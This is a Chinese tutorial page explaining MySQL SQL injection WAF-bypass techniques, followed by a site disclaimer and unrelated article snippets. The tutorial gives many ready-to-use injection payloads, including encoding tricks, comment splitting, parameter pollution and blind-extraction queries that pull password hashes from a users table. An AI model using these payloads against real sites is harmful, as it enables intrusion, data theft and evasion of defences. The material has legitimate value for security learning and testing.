mysql绕过waf_SQL注入中的WAF绕过技术

1.大小写绕过

这个大家都很熟悉,对于一些太垃圾的WAF效果显著,比如拦截了union,那就使用Union UnIoN等等绕过。

2.简单编码绕过

比如WAF检测关键字,那么我们让他检测不到就可以了。比如检测union,那么我们就用%55也就是U的16进制编码来代替U,union写成 %55nION,结合大小写也可以绕过一些WAF,你可以随意替换一个或几个都可以。

也还有大家在Mysql注入中比如表名或是load文件的时候,会把文件名或是表明用16进制编码来绕过WAF都是属于这类。

3.注释绕过

这种情况比较少,适用于WAF只是过滤了一次危险的语句,而没有阻断我们的整个查询。

01./?id=1+union+select+1,2,3/*

比如对于上面这条查询,WAF过滤了一次union和select,那么我们在之前在写一个注释的语句,让他把注释里面的过滤掉,并不影响我们的查询。

所以绕过语句就是:

01./?id=1/*union*/union/*select*/select+1,2,3/*

还有一种和注释有关的绕过:

比如:

01.index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4…

可以看到,只要我们把敏感词放到注释里面,注意,前面要加一个!

4.分隔重写绕过

还是上面的例子,适用于那种WAF采用了正则表达式的情况,会检测所有的敏感字,而不在乎你写在哪里,有几个就过滤几个。

我们可以通过注释分开敏感字,这样WAF的正则不起作用了,而带入查询的时候并不影响我们的结果。

01./?id=1+un/**/ion+sel/**/ect+1,2,3--

至于重写绕过,适用于WAF过滤了一次的情况,和我们上传aaspsp马的原理一样,我们可以写出类似Ununionion这样的。过滤一次union后就会执行我们的查询了。

01.?id=1 ununionion select 1,2,3--

5.Http参数污染(HPP)

比如我们有这样的语句:

01./?id=1 union select+1,2,3+from+users+where+id=1--

我们可以重复一次前面的id值添加我们的值来绕过,&id=会在查询时变成逗号:

01./?id=1 union select+1&id=2,3+from+users+where+id=1--

这种情况成功的条件比较多,取决于具体的WAF实现。

再给出一个例子说明用法:

01./?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users--

具体分析的话就涉及到查询语句的后台代码的编写了。

比如服务器是这样写的:

01.select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit ".$_GET['c'];

那我们可以构造这样的注入语句:

01./?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--

最终解析为:

01.select * from table where a=1 union/* and b=*/select 1,pass/*limit */from users--

可以看到,这种方式其实比较适合白盒测试,而对于黑盒渗透的话,用起来比较麻烦。但是也可以一试。

6.使用逻辑运算符 or /and绕过

01./?id=1+OR+0x50=0x50

02./?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

顺便解释一下第二句话,从最里面的括号开始分析,select+pwd+from+users+limit+1,1 这句是从users表里查询pwd字段的第一条记录,比如是admin,

然后mid(上一句),1,1就是取admin的第一个字符,也就是a,

lower(上一句)就是把字符转换为小写,

然后ascii就是把a转换成ascii码,看等不等于74。

7.比较操作符替换

包括!= 不等于,<>不等于,< 小于,>大于,这些都可以用来替换=来绕过。

比如上一个例子,要判断是不是74,假设=被过滤,那么我们可以判断是不是大于73,是不是小于75,然后就知道是74了。。很多WAF都会忘了这个。

8.同功能函数替换

Substring()可以用mid(),substr()这些函数来替换,都是用来取字符串的某一位字符的。

Ascii()编码可以用hex(),bin(),也就是16进制和二进制编码替换。Benchmark()可以用sleep()来替换,这两个使用在基于延时的盲注中,有机会给大家介绍。

如果连这些都屏蔽了,还有一种新的方法:

01. substring((select 'password'),1,1) = 0x70

02.substr((select 'password'),1,1) = 0x70

03.mid((select 'password'),1,1) = 0x70

比如这三条,都是从password里判断第一个字符的值,可以用:

01.strcmp(left('password',1), 0x69) = 1

02.strcmp(left('password',1), 0x70) = 0

03.strcmp(left('password',1), 0x71) = -1

来替换,left用来取字符串左起1位的值,strcmp用来比较两个值,如果比较结果相等就为0,左边小的话就为-1,否则为1。

还有我前几篇说过的group_concat 和concat和concat_ws也可以互相替换。

9.盲注无需or和and

比如有这样一个注入点:

01.index.php?uid=123

and、or被过滤了,其实有一种更直接的方法,我们直接修改123为我们的语句生成的:

01.index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123

123的时候页面是正确的,我们现在在盲猜hash的第一位,如果第一位等于0x42也就是B,那么strcmp结果为0,0+123=123,所以页面应该是正确的。否则就说明不是B,就这样猜,不用and和or了。

10. 加括号

01./?id=1+union+(select+1,2+from+users)

比如,上面这一条被WAF拦截了。可以试试加一些括号:

01./?id=1+union+(select+1,2+from+xxx)

02./?id=(1)union(select(1),mid(hash,1,32)from(users))

03./?id=1+union+(select'1',concat(login,hash)from+users)

04./?id=(1)union(((((((select(1),hex(hash)from(users))))))))

05./?id=(1)or(0x50=0x50)

11.缓冲区溢出绕过

这个是从国外一个博客看到的:

01.id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),

8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

02.,27,28,29,30,31,32,33,34,35,36–+

其中0xAAAAAAAAAAAAAAAAAAAAA这里A越多越好,一般要求1000个以上。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/522856.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

时间序列数据的存储和计算 - 开源时序数据库解析

摘要&#xff1a; Prometheus 开源时序数据库解析的系列文章在之前已经完成了几篇&#xff0c;对比分析了Hbase系的OpenTSDB、Cassandra系的KairosDB、BlueFlood及Heroic&#xff0c;最后是tsdb ranking top 1的InfluxDB。 点此查看原文&#xff1a;http://click.aliyun.com/m/…

flowable modler为任务节点增加自定义属性

如何在modler设计器中为任务节点&#xff0c;添加自定义的属性。 文章目录1、modler设计器中所有元素的定义2、flowable如何处理stencilset_bpmn.json文件3、为UserTask任务节点添加一个扩展属性3.1. 添加属性的名称3.2. 为任务节点添加扩展属性3.3. 查看效果1、modler设计器中…

微软对OpenAI投资10亿美元欲开发AI技术;华晨宝马宣布建成全球首个5G汽车生产基地;传苹果将收购英特尔调制解调器芯片业务...

关注并标星星CSDN云计算极客头条&#xff1a;速递、最新、绝对有料。这里有企业新动、这里有业界要闻&#xff0c;打起十二分精神&#xff0c;紧跟fashion你可以的&#xff01;每周三次&#xff0c;打卡即read更快、更全了解泛云圈精彩newsgo go go 索尼Xperia 1R信息曝光&…

java se 与j2se_javaSE和 j2SE的区别?

javaSE和 j2SE的区别?关注:71 答案:4 mip版解决时间 2021-01-28 18:29提问者耍硪ミ倪配么2021-01-27 20:19javaSE和 j2SE的区别?最佳答案二级知识专家自然卷的气质2021-01-27 21:53JavaEE 比 se多了许多包&#xff0c;用于开发大规模的&#xff0c;分布式的Java应用/服务器…

[高速通道进阶一]如何理解高速通道的就近接入和一点接入连接全球

摘要&#xff1a; 经常有用户问&#xff0c;我在上海有个IDC&#xff0c;在北京有个VPC&#xff0c;我想通过专线把IDC和VPC连接起来&#xff0c;我是不是要找运营商直接拉一根上海到北京的专线&#xff1f;其实不是这样的&#xff0c;用户只需要接入到最近的接入点即可。高速通…

Flowable决策任务(decision task)

摘要&#xff1a;Flowable中引入了一个decision task&#xff08;我们可以将其称之为决策任务&#xff09;。在讲解decision task之前&#xff0c;我们不妨看一下dmn引擎。因为如果大家不了解dmn&#xff0c;那肯定不知道如何使用decision task了。 dmn是decision Modeling Not…

PyODPS 安装常见问题解决

摘要&#xff1a; 本文将用户安装 PyODPS 时遇到的常见问题列举如下&#xff0c;希望在遇到类似问题时可供借鉴。在参考下列步骤之前&#xff0c;请首先尝试卸载并重装 PyODPS。卸载的步骤为执行“pip uninstall pyodps”。 点此查看原文&#xff1a;http://click.aliyun.com/m…

flowable理论(一)工作流理论

文章目录一、工作流是什么&#xff1f;二、为什么要用工作流&#xff1f;三、市面上有哪些工作流&#xff1a;四、工作流的规范一、工作流是什么&#xff1f; 工作流是将一组任务组织起来以完成某个经营过程&#xff1a;定义了任务的触发顺序和触发条件&#xff0c;每个任务可…

5G精华问答 | 5G技术已经成熟了吗?

1G时我们用手机打电话&#xff0c;2G时我们能互发短信、看文字信息&#xff0c;3G时上网看图片&#xff0c;而4G时我们看视频和直播&#xff0c;从1G到4G&#xff0c;不仅信号越来越好&#xff0c;安全性越来越高&#xff0c;上网也越来越快了。1Q&#xff1a;5G技术已经成熟了…

python局部变量含义_Python的变量

1. 概念Python变量是用于存储值所在的内存位置。换句话说&#xff0c;python程序中的变量将数据提供给计算机进行处理。Python中的每个值都有一个数据类型。Python中不同的数据类型是Number&#xff0c;List&#xff0c;Tuple&#xff0c;String&#xff0c;Dictionary等。变量…

PyODPS DataFrame:统一的数据查询语言

摘要&#xff1a; 前几天&#xff0c;PyODPS发布了0.7版本&#xff0c;这篇文章给大家介绍下PyODPS新版本带来的重要特性。 之前也有若干篇文章介绍过了&#xff0c;我们PyODPS DataFrame是延迟执行的&#xff0c;在调用立即执行的方法&#xff0c;比如execute、persist等之前&…

flowable理论(三)flowable简介

flowable 2017发布&#xff0c;主创人员来自Activiti团队&#xff0c;目前支持BPMN和CMMN、DMN规范、它的主要含有五个引擎和一个官方自带的Modeler流程设计器&#xff0c;以及一套数据库表&#xff0c;以及发布版本&#xff08;5个war)/源代码等&#xff1a; 文章目录一、五大…

AliOS Things 持续集成(CI)系统介绍

摘要&#xff1a; AliOS Things在快速的迭代进化之中&#xff0c;如何保证提交的代码质量&#xff0c;并保证在各个硬件平台上的稳定性&#xff0c;是一个非常大的挑战。同时物联网硬件碎片化&#xff0c;资源紧张&#xff0c;对持续集成&#xff08;CI&#xff09;系统也提出了…

从青铜到王者,助力企业轻松上云的四大绝招!

戳蓝字“CSDN云计算”关注我们哦!IBM在7月份发生了很多大事&#xff0c;其中这两件你知道吗&#xff1f;第一&#xff0c;IBM&#xff08;NYSE: IBM&#xff09;与美国电话电报公司&#xff08;AT&T&#xff09;&#xff08;NYSE: T&#xff09;达成一项为期多年的战略联盟…

python模块用法教程_Python学习之asyncore模块用法实例教程

本文以实例分析了Python中asyncore模块的原理及用法&#xff0c;分享给大家供大家参考。具体分析如下&#xff1a;asyncore库是python的一个标准库&#xff0c;它是一个异步socket的包装。我们操作网络的时候可以直接使用socket等底层的库&#xff0c;但是asyncore使得我们可以…

PyODPS开发中的最佳实践

摘要&#xff1a; PyODPS支持用 Python 来对 MaxCompute 对象进行操作&#xff0c;它提供了 DataFrame API 来用类似 pandas 的接口进行大规模数据分析以及预处理&#xff0c;并且可以用 ml 模块来执行机器学习算法。 点此查看原文&#xff1a;http://click.aliyun.com/m/41091…

flowable实战(一)flowable与spring boot集成

文章目录一、添加依赖pom.xml二、关掉认证和Mapper接口的扫描三、添加数据库连接池一、添加依赖pom.xml <dependency><groupId>org.flowable</groupId><artifactId>flowable-spring-boot-starter</artifactId><version>${flowable.version…

PyODPS 中使用 Python UDF

摘要&#xff1a; PyODPS 中使用 Python UDF 包含两方面&#xff0c;一个是直接使用&#xff0c;也就是在 MaxCompute SQL 中使用&#xff1b;一个是间接的方式&#xff0c;也就是 PyODPS DataFrame&#xff0c;这种方式你不需要直接写 Python UDF&#xff0c;而是写普通的 Pyt…

无服务器计算,如何节省时间和成本?

戳蓝字“CSDN云计算”关注我们哦&#xff01;译者 | 风车云马出品 | CSDN云计算&#xff08;ID&#xff1a;CSDNcould&#xff09;为了解决面临的业务问题&#xff0c;通常需要开发人员花费一定的时间编写完代码&#xff0c;再交由运维工程师确保正常的运行&#xff0c;整个过程…

gen文件下有两个R.java_android工程gen目录中R.java包名是怎么确定

新建一个工程&#xff0c;包名用的com.mythroad.adskiller, 后来觉得不好&#xff0c;又改成com.mythroad.adsinscepter,但是我发现gen下的R.java文件的包名还是原来的com.mythroad.adskiller。甚至手动新建了R.java,包名为com.mythroad.adsinscepter&#xff0c;我把com.mythr…